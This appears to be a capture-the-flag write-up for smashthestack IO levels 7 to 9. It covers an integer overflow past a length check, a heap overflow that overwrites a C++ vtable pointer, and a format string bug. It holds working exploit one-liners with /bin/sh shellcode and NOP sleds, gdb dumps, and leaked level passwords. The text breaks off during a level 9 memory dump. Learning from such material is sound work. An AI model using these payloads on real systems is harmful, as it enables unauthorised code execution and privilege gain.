I/O level 7 had another buffer overflow challenge, this is a interesting buffer overflow compared to the others in earlier challenges. In the main() function a buffer called buf[] with a set size of 10 bytes, next the program defines an if statement that states that if the user input is to be equal or greater than 10 return 1 which means the user input must be under 10. The program then uses the http://www.cplusplus.com/reference/cstring/memcpy/ function to copy two command line arguments from argv[] to buf[] with “count * sizeof(int)” specifying the amount of bytes to copy from source (argv[2]) to destination (buf[]). If the count is equal to “0x574f4c46” I will be granted with the shell for the next level otherwise I get the message “Not today son”.

Now I did some searching using Google for types of overflows, I was feeling like this was either an integer or an arithmetic overflow, then I found a link to a wikipedia article on http://en.wikipedia.org/wiki/Arithmetic_underflow. Since the if statements means my input must be =< 9 I assume this is a type of underflow and since I couldn’t find information on integer underflows I also make the assumption that this is an arithmetic underflow.

So I determined that what I need to do to complete the challenge is the following:

  • We need to pass a number less than 10 because of “if(count >= 10 )”
  • The number has to be 10 digits in size
  • The number has to be big enough to overflow buf[]
  • Overflow buf[] to modify value of count, needs to be (count == 0x574f4c46)
  • buf[] can only be “count * sizeof(int)” in size

I can pass small numbers from 1-9 but none are large enough to overflow buf[], but with a negative number such as -10 would bypass the check of “if(count >= 10 )” and if I can convert this back to a positive integer after the check I would possible be able to overflow buf[]. This is a good theory up until memcpy(), as this function will fail because “count * sizeof(int)” is negative. Because of how the memory addresses are layout I know this a 32-bit program, which means “sizeof(int)” is equal to 4 bytes (\x57\x4f\x4c\x46 = 4 bytes), which in assembly is a SHL (Shift Logical Left) instruction of 2.

(gdb) disassemble main
Dump of assembler code for function main:
0x08048414 <+0>: push %ebp
0x08048415 <+1>: mov %esp,%ebp
0x08048417 <+3>: sub $0x68,%esp
0x0804841a <+6>: and $0xfffffff0,%esp
0x0804841d <+9>: mov $0x0,%eax
0x08048422 <+14>: sub %eax,%esp
0x08048424 <+16>: mov 0xc(%ebp),%eax
0x08048427 <+19>: add $0x4,%eax
0x0804842a <+22>: mov (%eax),%eax
0x0804842c <+24>: mov %eax,(%esp)
0x0804842f <+27>: call 0x8048354 <atoi@plt>
0x08048434 <+32>: mov %eax,-0xc(%ebp)
0x08048437 <+35>: cmpl $0x9,-0xc(%ebp)
0x0804843b <+39>: jle 0x8048446 <main+50>
0x0804843d <+41>: movl $0x1,-0x4c(%ebp)
0x08048444 <+48>: jmp 0x80484ad <main+153>
0x08048446 <+50>: mov -0xc(%ebp),%eax
0x08048449 <+53>: shl $0x2,%eax # SHL 2 "(sizeof(int=4)"
0x0804844c <+56>: mov %eax,0x8(%esp)
0x08048450 <+60>: mov 0xc(%ebp),%eax
0x08048453 <+63>: add $0x8,%eax
0x08048456 <+66>: mov (%eax),%eax
0x08048458 <+68>: mov %eax,0x4(%esp)
0x0804845c <+72>: lea -0x48(%ebp),%eax
0x0804845f <+75>: mov %eax,(%esp)
0x08048462 <+78>: call 0x8048334 <memcpy@plt>
0x08048467 <+83>: cmpl $0x574f4c46,-0xc(%ebp)
0x0804846e <+90>: jne 0x804849a <main+134>
0x08048470 <+92>: movl $0x8048584,(%esp)
0x08048477 <+99>: call 0x8048344 <printf@plt>
0x0804847c <+104>: movl $0x0,0x8(%esp)
0x08048484 <+112>: movl $0x804858a,0x4(%esp)
0x0804848c <+120>: movl $0x804858d,(%esp)
0x08048493 <+127>: call 0x8048324 <execl@plt>
0x08048498 <+132>: jmp 0x80484a6 <main+146>
0x0804849a <+134>: movl $0x8048595,(%esp)
0x080484a1 <+141>: call 0x8048344 <printf@plt>
0x080484a6 <+146>: movl $0x0,-0x4c(%ebp)
0x080484ad <+153>: mov -0x4c(%ebp),%eax
0x080484b0 <+156>: leave
0x080484b1 <+157>: ret
End of assembler dump.

Using the following C code I tested that a negative number can be changed to a positive number .

int main(int argc, char **argv)
{
int x = -1073741808;
printf("%p\n", x);
printf("%p\n", x << 2);
printf("%p\n", (x + 16) << 2);
printf("%p\n", (x + 32) << 2);
return 0;
}

With the compile c above I tested that the negative number “-1073741808” was in fact converted back to a positive number. I now need to know how far I need to overflow before writing the memory address for the count, will a lot of trial and error I found that 60 bytes and then the 4 bytes of the memory address was required to overwrite count.

/levels/level07 -1073741808 $(python -c 'print "\x90"*60 + "\x46\x4c\x4f\x57"')
WIN!
sh-4.2$ id
uid=1007(level7) gid=1007(level7) euid=1008(level8) groups=1008(level8),1007(level7),1029(nosu)
sh-4.2$ cat /home/level8/.pass
YIyYUTN9f8p0Qg

I/O – Level 8

// writen by bla for io.smashthestack.org
#include <iostream>
#include <cstring>
 
class Number
{
public:
Number(int x) : number(x) {}
void setAnnotation(char *a) {memcpy(annotation, a, strlen(a));}
virtual int operator+(Number &r) {return number + r.number;}
private:
char annotation[100];
int number;
};
 
int main(int argc, char **argv)
{
if(argc < 2) _exit(1);
 
Number *x = new Number(5);
Number *y = new Number(6);
Number &five = *x, &six = *y;
 
five.setAnnotation(argv[1]);
 
return six + five;
}

From the above source the level8 challenge is some sort of overflow in C++, running through the code starting at the class “Number” which straight I see there are three public functions, the first being Number() which takes an int and assigns the value to the private local variable “number”, the next public function is setAnnotation() which takes a char point as it’s only argument and the final public function in the Number class is a “+ operator” for the Number class. There are also two private variables one called char annotation which is used by the setAnnotation function and the other is a int number which is used by the Number(). The setAnnotation uses http://www.cplusplus.com/reference/cstring/memcpy/ to write bytes starting at the memory location “a” to the memory location of “annotation” with the amount of bytes to be copied from “a” to “annotation”, this is good for me as since I can control the size of “a” I can overflow “annotation”.

To get a better idea of what the program itself is doing I disassembled the main function.

(gdb) disass main
Dump of assembler code for function main:
0x08048694 <+0>: push %ebp
0x08048695 <+1>: mov %esp,%ebp
0x08048697 <+3>: and $0xfffffff0,%esp
0x0804869a <+6>: push %ebx
0x0804869b <+7>: sub $0x2c,%esp
0x0804869e <+10>: cmpl $0x1,0x8(%ebp) # if(argv <2)
0x080486a2 <+14>: jg 0x80486b0 <main+28> # if input is >=2 jump to location "0x080486b0"
0x080486a4 <+16>: movl $0x1,(%esp)
0x080486ab <+23>: call 0x804857c <_exit@plt> # _exit(1)
0x080486b0 <+28>: movl $0x6c,(%esp)
0x080486b7 <+35>: call 0x80485bc <_Znwj@plt>
0x080486bc <+40>: mov %eax,%ebx
0x080486be <+42>: mov %ebx,%eax
0x080486c0 <+44>: movl $0x5,0x4(%esp)
0x080486c8 <+52>: mov %eax,(%esp)
0x080486cb <+55>: call 0x804879e <_ZN6NumberC1Ei>
0x080486d0 <+60>: mov %ebx,0x10(%esp)
0x080486d4 <+64>: movl $0x6c,(%esp)
0x080486db <+71>: call 0x80485bc <_Znwj@plt>
0x080486e0 <+76>: mov %eax,%ebx
0x080486e2 <+78>: mov %ebx,%eax
0x080486e4 <+80>: movl $0x6,0x4(%esp)
0x080486ec <+88>: mov %eax,(%esp)
0x080486ef <+91>: call 0x804879e <_ZN6NumberC1Ei>
0x080486f4 <+96>: mov %ebx,0x14(%esp)
0x080486f8 <+100>: mov 0x10(%esp),%eax
0x080486fc <+104>: mov %eax,0x18(%esp)
0x08048700 <+108>: mov 0x14(%esp),%eax
0x08048704 <+112>: mov %eax,0x1c(%esp)
0x08048708 <+116>: mov 0xc(%ebp),%eax
0x0804870b <+119>: add $0x4,%eax
0x0804870e <+122>: mov (%eax),%eax
0x08048710 <+124>: mov %eax,0x4(%esp)
0x08048714 <+128>: mov 0x18(%esp),%eax
0x08048718 <+132>: mov %eax,(%esp)
0x0804871b <+135>: call 0x80487b6 <_ZN6Number13setAnnotationEPc>
0x08048720 <+140>: mov 0x1c(%esp),%eax
0x08048724 <+144>: mov (%eax),%eax
0x08048726 <+146>: mov (%eax),%edx
0x08048728 <+148>: mov 0x18(%esp),%eax
0x0804872c <+152>: mov %eax,0x4(%esp)
0x08048730 <+156>: mov 0x1c(%esp),%eax
0x08048734 <+160>: mov %eax,(%esp)
0x08048737 <+163>: call *%edx
0x08048739 <+165>: add $0x2c,%esp
0x0804873c <+168>: pop %ebx
0x0804873d <+169>: mov %ebp,%esp
0x0804873f <+171>: pop %ebp
0x08048740 <+172>: ret
End of assembler dump.

The gdb disassemble of the main() of program /levels/level08 shows that line <main+10> performs the if(argc < 2) check in the program, I tested this by setting a breakpoint on the memory address of 0x0804869e and then ran the program twice once with the input being “1” which when checked by <main+10> continued straight to <main+23> which exits the program. But when I run the program again like being but the input being “2” the program jumps over the _exit(1) function to the memory address of 0x080486b0.

I next I reran the program with argc of 2, setting a breakpoint on 0x0804871b which is the memory address for the setAnnotation(char *a) function, once the breakpoint was hit I looked at the ESP register to view the current state of the stack.

(gdb) break *0x0804871b
Breakpoint 1 at 0x804871b
(gdb) run 2
Starting program: /levels/level08 2
 
Breakpoint 1, 0x0804871b in main ()
(gdb) x/32xb $esp
0xbffffca0: 0x08 0xa0 0x04 0x08 0x9f 0xfe 0xff 0xbf
0xbffffca8: 0xd8 0xfc 0xff 0xbf 0x29 0x88 0x04 0x08
0xbffffcb0: 0x08 0xa0 0x04 0x08 0x78 0xa0 0x04 0x08
0xbffffcb8: 0x08 0xa0 0x04 0x08 0x78 0xa0 0x04 0x08
 
(gdb) x/32xb $esp+4
0xbffffca4: 0x9f 0xfe 0xff 0xbf 0xd8 0xfc 0xff 0xbf
0xbffffcac: 0x29 0x88 0x04 0x08 0x08 0xa0 0x04 0x08
0xbffffcb4: 0x78 0xa0 0x04 0x08 0x08 0xa0 0x04 0x08
0xbffffcbc: 0x78 0xa0 0x04 0x08 0x05 0x75 0xd8 0xb7

Comparing the main() function assembly I can see at this point in the execution of the program that the $eip+4 contains the memory address of the start of argv[1], the $esp holds the address of the annotation array of the variable five. Looking at the addresses they aren’t the same place memory locations as all of the 0xbfff—-, the memory location 0x0804—-, this area as it is heap memory.

I’ve read about heap memory and stack memory, http://timmurphy.org/2010/08/11/the-difference-between-stack-and-heap-memory-allocation/, the heap memory is allocated at the start of the program. In this program when the “new” command was used two instances of the Number class and why the heap is used to store the information. In the above output from gdb when attempting to view the stack at the end of the 32 bytes displayed the addresses 0x0804a008 and 0x0804a078 which are the locations in the heap memory for the variables five and six.

(gdb) x/108xb 0x0804a078
0x804a078: 0xc8 0x88 0x04 0x08 0x00 0x00 0x00 0x00
0x804a080: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a088: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a090: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a098: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0a0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0a8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0b0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0b8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0c0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0c8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0d0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0d8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0e0: 0x06 0x00 0x00 0x00

Looking at the memory that represents the variable “six” above, there are several things that stand out about this memory location, the first part there seems to be a memory address “0x080488c8”, next there are exactly 100 bytes between the memory address and the “0x06” at the end which would represents the memory allocated for the character array, and the final note is of the 0x06 at the end of the memory address which represents the int value “number” stored at the Number *y = new Number(6);. The next step I took was to look at the memory address found above.

(gdb) disas 0x080488c8
Dump of assembler code for function _ZTV6Number:
0x080488c0 <+0>: add %al,(%eax)
0x080488c2 <+2>: add %al,(%eax)
0x080488c4 <+4>: aam $0x88
0x080488c6 <+6>: add $0x8,%al
0x080488c8 <+8>: loop 0x8048851 <__libc_csu_init+65>
0x080488ca <+10>: add $0x8,%al
End of assembler dump.

This memory address shows what I assume to be the virtual table for the virtual functions of the Number class, we also assume this is the virtual table to be for the “six” structure. From this point I determine the overflow occurs in the “five” structure into the memory location of the “six” structure caused by the improper check of the input used by memcpy(), we could overflow the “six” structure possibly but the application ends after the “new” command for Number(6), which is why the “five” structure is the target since if we overflow this structure we can overflow into the “six” structure and get possible code execution.

Counting the memory location I determined that there were 108 bytes between the start of “annotation” in “five” and start of the “six” structure. This means I need to pass the program a buffer of 108 bytes + 4 additional bytes that will hopefully overwrite the memory location for the virtual table in the “six” structure.

(gdb) break *0x0804871b
 
Breakpoint 2 at 0x804871b
 
(gdb) run $(python -c 'print "A"*108 + "BBBB"')
 
The program being debugged has been started already.
 
Start it from the beginning? (y or n) y
 
Starting program: /levels/level08 $(python -c 'print "A"*108 + "BBBB"')
 
Breakpoint 2, 0x0804871b in main ()
 
(gdb) x/8xb 0x0804a078
 
0x804a078: 0xc8 0x88 0x04 0x08 0x00 0x00 0x00 0x00
 
(gdb) ni
 
0x08048720 in main ()
 
(gdb) x/8xb 0x0804a078
 
0x804a078: 0x42 0x42 0x42 0x42 0x00 0x00 0x00 0x00

From the above output the python script $(python -c 'print "A"*108 + "BBBB"') was successfully able to overwrite the memory address for the virtual table for the “six” structure in the heap memory allocated for “Number(6)”. From here the exploitation gets a bit easier with only needing to place the shellcode to be executed in the buffer sent and then have it executed.

(gdb) x/32xb 0x0804a008
0x804a008: 0xc8 0x88 0x04 0x08 0x41 0x41 0x41 0x41
0x804a010: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x804a018: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x804a020: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

In constructing the buffer for program to execute I looked at the heap memory for “five” structure as shown above, the memory address “0x804a010” will be used to overwrite the memory address in the “six” structure which will have the program jump to the address specified and start executing my shellcode. Using the following python script I attempted to do so $(python -c 'print "\x90"*20 + "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh" + "\x90"*50 + "\x10\xa0\x04\x80"').

(gdb) run $(python -c 'print "\x90"*20 + "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh" + "\x90"*50 + "\x10\xa0\x04\x80"')
Starting program: /levels/level08 $(python -c 'print "\x90"*20 + "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh" + "\x90"*50 + "\x10\xa0\x04\x80"')
 
Breakpoint 2, 0x0804871b in main ()
(gdb) x/8xb 0x0804a078
0x804a078: 0xc8 0x88 0x04 0x08 0x00 0x00 0x00 0x00
(gdb) ni
0x08048720 in main ()
(gdb) x/8xb 0x0804a078
0x804a078: 0x10 0xa0 0x04 0x80 0x00 0x00 0x00 0x00
(gdb) x/108xb 0x0804a008
0x804a008: 0xc8 0x88 0x04 0x08 0x90 0x90 0x90 0x90
0x804a010: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a018: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a020: 0xeb 0x18 0x5e 0x89 0x76 0x08 0x31 0xc0
0x804a028: 0x88 0x46 0x07 0x89 0x46 0x0c 0x89 0xf3
0x804a030: 0x8d 0x4e 0x08 0x8d 0x56 0x0c 0xb0 0x0b
0x804a038: 0xcd 0x80 0xe8 0xe3 0xff 0xff 0xff 0x2f
0x804a040: 0x62 0x69 0x6e 0x2f 0x73 0x68 0x90 0x90
0x804a048: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a050: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a058: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a060: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a068: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a070: 0x90 0x90 0x90 0x90

From the output above I can see that I overwrite the memory address in the memory location for the “six” structure (0x804a078) with the memory address of (0x804a010) which contains NOPs and should have the program go down the NOP sled until it hits the shellcode I’ve used in pass exploits, though this failed in the end returning a segmentation fault error. After some playing around with the buffer I was able to determine there was a dereference made by the program before the shellcode begins executing, I used the following python script for debugging $(python -c 'print "A"*4 + "B"*104 + "C"*4').

(gdb) break *0x0804871b
Breakpoint 2 at 0x804871b
(gdb) run $(python -c 'print "A"*4 + "B"*104 + "C"*4')
Starting program: /levels/level08 $(python -c 'print "A"*4 + "B"*104 + "C"*4')
 
Breakpoint 2, 0x0804871b in main ()
(gdb) x/108xb 0x0804a008
0x804a008: 0xc8 0x88 0x04 0x08 0x00 0x00 0x00 0x00
0x804a010: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a018: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a020: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a028: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a030: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a038: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a040: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a048: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a050: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a058: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a060: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a068: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a070: 0x05 0x00 0x00 0x00
(gdb) ni
0x08048720 in main ()
(gdb) x/108xb 0x0804a008
0x804a008: 0xc8 0x88 0x04 0x08 0x41 0x41 0x41 0x41
0x804a010: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x804a018: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x804a020: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x804a028: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x804a030: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x804a038: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x804a040: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x804a048: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x804a050: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x804a058: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x804a060: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x804a068: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x804a070: 0x42 0x42 0x42 0x42
(gdb) x/8xb 0x0804a078
0x804a078: 0x43 0x43 0x43 0x43 0x00 0x00 0x00 0x00

With this new information I decided that I would use the following technique in my exploit:

  1. overwrite 0x0804a078 with 0x0804a00c (0x0804a008+4)
  2. then overwrite 0x0804a00c with 0x0804a010 (0x0804a00c+4)
  3. then place my NOP sled and shellcode

This new exploit I came up with was the following python script $(python -c ‘print “\x10\xa0\x04\x08” + “\x90”4 + “\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh” + “A”62 + “\x0c\xa0\x04\x08”’).

level8@io:~$ /levels/level08 $(python -c 'print "\x10\xa0\x04\x08" + "\x90"*4 + "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh" + "A"*62 + "\x0c\xa0\x04\x08"')
sh-4.2$ id
uid=1008(level8) gid=1008(level8) euid=1009(level9) groups=1009(level9),1008(level8),1029(nosu)
sh-4.2$ cat /home/level9/.pass
8M6FFV8riHYSQg
sh-4.2$

I/O – Level 9

#include <stdio.h>
#include <string.h>
 
int main(int argc, char **argv) {
int  pad = 0xbabe;
char buf[1024];
strncpy(buf, argv[1], sizeof(buf) - 1);
 
printf(buf);
 
return 0;

Straight away when looking at the C code above I was able to determine that the incorrect usage of the printf() meant that format string vulnerability was present. A format specifier should of been used by the programmer to specify the data type to be printed, as not doing so allows for format string attack vectors. To verify this I passed the binary a string and then the same string with a format specifier include after the string.

level9@io:~$ /levels/level09 abcdefghijklm
abcdefghijklmlevel9@io:~$
level9@io:~$
level9@io:~$ /levels/level09 abcdefghijklm%x
abcdefghijklmbffffea2level9@io:~$
level9@io:~$

So what is occurring is that the binary uses the strncpy() to copy the user’s input directly into the array buf and then uses the printf() to print the contents of the array to the screen and since printf() does not include a format specifier I am able to include my own (%h).

Not that it matters for competing this IO challenge but i’ve included how this vulnerability could be fixed below, notice in the code below all you have to do is specify a format to be displayed in.

#include <stdio.h>
#include <string.h>
 
int main(int argc, char **argv) {
int  pad = 0xbabe;
char buf[1024];
strncpy(buf, argv[1], sizeof(buf) - 1);
 
printf("%s", buf);
 
return 0;
}
level9@io:/tmp/level9$ gcc -g ./level09new.c -o level09new
level9@io:/tmp/level9$ ./level09new abcdefghijklm
abcdefghijklmlevel9@io:/tmp/level9$
level9@io:/tmp/level9$ ./level09new abcdefghijklm%x
abcdefghijklm%xlevel9@io:/tmp/level9$

Now back to actually competing this IO challenge, I’ve correctly identified that this is in fact a format string vulnerability challenge in which the goal is to get a leveraged shell for the next level by exploiting said vulnerability. Using the format specifier from above (%x) I was able to read what was on the stack.

level9@io:~$ /levels/level09 "%x%x%x%x%x%x"
bffffe9c3ff149d7c782578257825782578257825level9@io:~$

Again I want the shell to be able to get to level 10 IO challenge which means I need to get the binary to execute shellcode that I pass it. I decided the method I would use to get the shellcode to the binary was by loading an environment variable with the shellcode itself like I did in a previous challenge, IO Level 7.

The Shellcode
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
level9@io:~$ env
TERM=xterm
SHELL=/bin/bash
SSH_CLIENT=X.X.X.X 30641 2224
SSH_TTY=/dev/pts/6
USER=level9
MAIL=/var/mail/level9
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
PWD=/home/level9
SHLVL=1
HOME=/home/level9
LOGNAME=level9
SSH_CONNECTION=X.X.X.X 30641 X.X.X.X 2224
_=/usr/bin/env
OLDPWD=/
level9@io:~$ export SHELLCODE=$(python -c 'print "\x90"*200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
level9@io:~$ env
SHELLCODE=1ÀPh//shh/binãPSá°
Í
TERM=xterm
SHELL=/bin/bash
SSH_CLIENT=X.X.X.X 30641 2224
OLDPWD=/
SSH_TTY=/dev/pts/6
USER=level9
MAIL=/var/mail/level9
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
PWD=/home/level9
SHLVL=1
HOME=/home/level9
LOGNAME=level9
SSH_CONNECTION=X.X.X.X 30641 X.X.X.X 2224
_=/usr/bin/env

The next part of actually exploiting this vulnerability is now I have find where my shellcode is on the stack, to locate it I open the binary in the application and begin inspecting memory space.

level9@io:~$ gdb -q /levels/level09
Reading symbols from /levels/level09...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483a4 <+0>:     push   %ebp
0x080483a5 <+1>:     mov    %esp,%ebp
0x080483a7 <+3>:     sub    $0x428,%esp
0x080483ad <+9>:     and    $0xfffffff0,%esp
0x080483b0 <+12>:    mov    $0x0,%eax
0x080483b5 <+17>:    sub    %eax,%esp
0x080483b7 <+19>:    movl   $0xbabe,-0xc(%ebp)
0x080483be <+26>:    movl   $0x3ff,0x8(%esp)
0x080483c6 <+34>:    mov    0xc(%ebp),%eax
0x080483c9 <+37>:    add    $0x4,%eax
0x080483cc <+40>:    mov    (%eax),%eax
0x080483ce <+42>:    mov    %eax,0x4(%esp)
0x080483d2 <+46>:    lea    -0x418(%ebp),%eax
0x080483d8 <+52>:    mov    %eax,(%esp)
0x080483db <+55>:    call   0x80482cc <strncpy@plt>
0x080483e0 <+60>:    lea    -0x418(%ebp),%eax
0x080483e6 <+66>:    mov    %eax,(%esp)
0x080483e9 <+69>:    call   0x80482ec <printf@plt>
0x080483ee <+74>:    mov    $0x0,%eax
0x080483f3 <+79>:    leave
0x080483f4 <+80>:    ret
End of assembler dump.
(gdb) br main
Breakpoint 1 at 0x80483ad
(gdb) r
Starting program: /levels/level09
 
Breakpoint 1, 0x080483ad in main ()
(gdb) x/256xw $ebp
0xbffffbe8:   0xbffffc68 0xb7e9ee16     0x00000001      0xbffffc94
0xbffffbf8:   0xbffffc9c 0xb7fe19d0     0xb7ff6821      0x0177ff8e
0xbffffc08:   0xb7ffeff4 0x0804820c     0x00000001      0xbffffc50
0xbffffc18:   0xb7fefc16 0xb7fffac0     0xb7fe1cc0      0xb7fd1ff4
0xbffffc28:   0x00000000 0x00000000     0xbffffc68      0x713eded3
0xbffffc38:   0x5d1288c3 0x00000000     0x00000000      0x00000000
0xbffffc48:   0x00000001 0x08048300     0x00000000      0xb7ff59c0
0xbffffc58:   0xb7e9ed3b 0xb7ffeff4     0x00000001      0x08048300
0xbffffc68:   0x00000000 0x08048321     0x080483a4      0x00000001
0xbffffc78:   0xbffffc94 0x08048410     0x08048400      0xb7ff0590
0xbffffc88:   0xbffffc8c 0xb7fff908     0x00000001      0xbffffd95
0xbffffc98:   0x00000000 0xbffffda5     0xbffffe91      0xbffffea1
0xbffffca8:   0xbffffeac 0xbffffed2     0xbffffee5      0xbffffef1
0xbffffcb8:   0xbffffefd 0xbfffff4a     0xbfffff60      0xbfffff6f
0xbffffcc8:   0xbfffff80 0xbfffff89     0xbfffff9b      0xbfffffa3
0xbffffcd8:   0xbfffffb2 0x00000000     0x00000010      0xbfebfbff
0xbffffce8:   0x00000006 0x00001000     0x00000011      0x00000064
0xbffffcf8:   0x00000003 0x08048034     0x00000004      0x00000020
0xbffffd08:   0x00000005 0x00000007     0x00000007      0xb7fe2000
0xbffffd18:   0x00000008 0x00000000     0x00000009      0x08048300
0xbffffd28:   0x0000000b 0x000003f1     0x0000000c      0x000003f1
0xbffffd38:   0x0000000d 0x000003f1     0x0000000e      0x000003f1
0xbffffd48:   0x00000017 0x00000000     0x00000019      0xbffffd7b
0xbffffd58:   0x0000001f 0xbfffffe8     0x0000000f      0xbffffd8b
0xbffffd68:   0x00000000 0x00000000     0x00000000      0x00000000
0xbffffd78:   0x28000000 0x9f8cbbee     0x77d64764      0x83f174ec
0xbffffd88:   0x69dd7acc 0x00363836     0x00000000      0x656c2f00
0xbffffd98:   0x736c6576 0x76656c2f     0x39306c65      0x45485300
0xbffffda8:   0x4f434c4c 0x903d4544     0x90909090      0x90909090
0xbffffdb8:   0x90909090 0x90909090     0x90909090      0x90909090
0xbffffdc8:   0x90909090 0x90909090     0x90909090      0x90909090
0xbffffdd8:   0x90909090 0x90909090     0x90909090      0x90909090
0xbffffde8:   0x90909090 0x90909090     0x90909090      0x90909090
0xbffffdf8:   0x90909090 0x90909090     0x90909090      0x90909090
0xbffffe08:   0x90909090 0x90909090     0x90909090      0x90909090
0xbffffe18:   0x90909090 0x90909090     0x90909090      0x90909090
0xbffffe28:   0x90909090 0x90909090     0x90909090      0x90909090
0xbffffe38:   0x90909090 0x90909090     0x90909090      0x90909090
0xbffffe48:   0x90909090 0x90909090     0x90909090      0x90909090
0xbffffe58:   0x90909090 0x90909090     0x90909090      0x90909090
0xbffffe68:   0x90909090 0x90909090     0x90909090      0x31909090
0xbffffe78:   0x2f6850c0 0x6868732f     0x6e69622f      0x5350e389
0xbffffe88:   0xc289e189 0x80cd0bb0     0x45485300      0x2f3d4c4c
0xbffffe98:   0x2f6e6962 0x68736162     0x52455400      0x74783d4d
0xbffffea8:   0x006d7265 0x5f485353     0x45494c43      0x323d544e
0xbffffeb8:   0x312e3230 0x312e3435     0x322e3530      0x33203834
0xbffffec8:   0x31343630 0x32323220     0x53530034      0x54545f48
0xbffffed8:   0x642f3d59 0x702f7665     0x362f7374      0x45535500
0xbffffee8:   0x656c3d52 0x396c6576     0x4c4f4300      0x534e4d55
0xbffffef8:   0x3736313d 0x54415000     0x752f3d48      0x6c2f7273
0xbfffff08:   0x6c61636f 0x6962732f     0x752f3a6e      0x6c2f7273
0xbfffff18:   0x6c61636f 0x6e69622f     0x73752f3a      0x62732f72
0xbfffff28:   0x2f3a6e69 0x2f727375     0x3a6e6962      0x6962732f
0xbfffff38:   0x622f3a6e 0x2f3a6e69     0x2f727375      0x656d6167
0xbfffff48:   0x414d0073 0x2f3d4c49     0x2f726176      0x6c69616d
0xbfffff58:   0x76656c2f 0x00396c65     0x752f3d5f      0x622f7273
0xbfffff68:   0x672f6e69 0x50006264     0x2f3d4457      0x656d6f68
0xbfffff78:   0x76656c2f 0x00396c65     0x454e494c      0x34343d53
0xbfffff88:   0x4d4f4800 0x682f3d45     0x2f656d6f      0x6576656c
0xbfffff98:   0x5300396c 0x4c564c48     0x4c00313d      0x414e474f
0xbfffffa8:   0x6c3d454d 0x6c657665     0x53530039      0x4f435f48
0xbfffffb8:   0x43454e4e 0x4e4f4954     0x3230323d      0x3435312e
